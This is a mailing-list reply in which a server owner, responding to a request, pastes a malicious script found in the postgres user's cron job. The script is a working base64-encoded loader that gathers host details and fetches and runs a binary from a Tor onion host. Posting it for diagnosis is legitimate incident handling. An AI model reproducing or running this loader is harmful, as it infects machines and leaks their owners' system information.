Hey Matthias, here it is:

christan@vultr:~$ sudo cat 
/var/lib/postgresql/.systemd-private-x8C8W8llVk0Rzccy9N0ggCOI2VBAc.sh
#!/bin/bash
exec &>/dev/null
echo x8C8W8llVk0Rzccy9N0ggCOI2VBAc
echo 
eDhDOFc4bGxWazBSemNjeTlOMGdnQ09JMlZCQWMKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAiNGl1Y2lneHZsZng0dmNxbjVzb3JkZXJzYWEzYTN6dGpjYW9zenB0eHhvNWIzcGJuNm5sd3NmYWQiKQoKc29ja3ooKSB7Cm49KGRucy50d25pYy50dyBkb2gtY2guYmxhaGRucy5jb20gZG9oLWRlLmJsYWhkbnMuY29tIGRvaC1maS5ibGFoZG5zLmNvbSBkb2gtanAuYmxhaGRucy5jb20gZG9oLmxpIGRvaC5wdWIgZG9oLXNnLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmRpZ2l0YWxzaXplLm5ldCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnE9JHtuWyQoKFJBTkRPTSUkeyNuW0BdfSkpXX0Kcz0kKCRjIGh0dHBzOi8vJHEvJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8dGFpbCAtMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64
 -d|bash

> On 2 Jan 2023, at 9:46 AM, Matthias Apitz <g...@unixarea.de> wrote:
> 
> El día lunes, enero 02, 2023 a las 08:53:32a. m. +0200, Antonis Christodoulou 
> escribió:
> 
>> And for the record, Ahmet, here’s a weird cron job:
>> 
>> christan@vultr:~$ sudo crontab -l -u postgres
>> 13 * * * * 
>> /var/lib/postgresql/.systemd-private-x8C8W8llVk0Rzccy9N0ggCOI2VBAc.sh > 
>> /dev/null 2>&1 &
>> 
>> Had no idea somebody can add something like this externally...
> 
> Please post the content of this script.
> 
>       matthias
> 
> 
> -- 
> Matthias Apitz, ✉ g...@unixarea.de, http://www.unixarea.de/ +49-176-38902045
> Public GnuPG key: http://www.unixarea.de/key.pub

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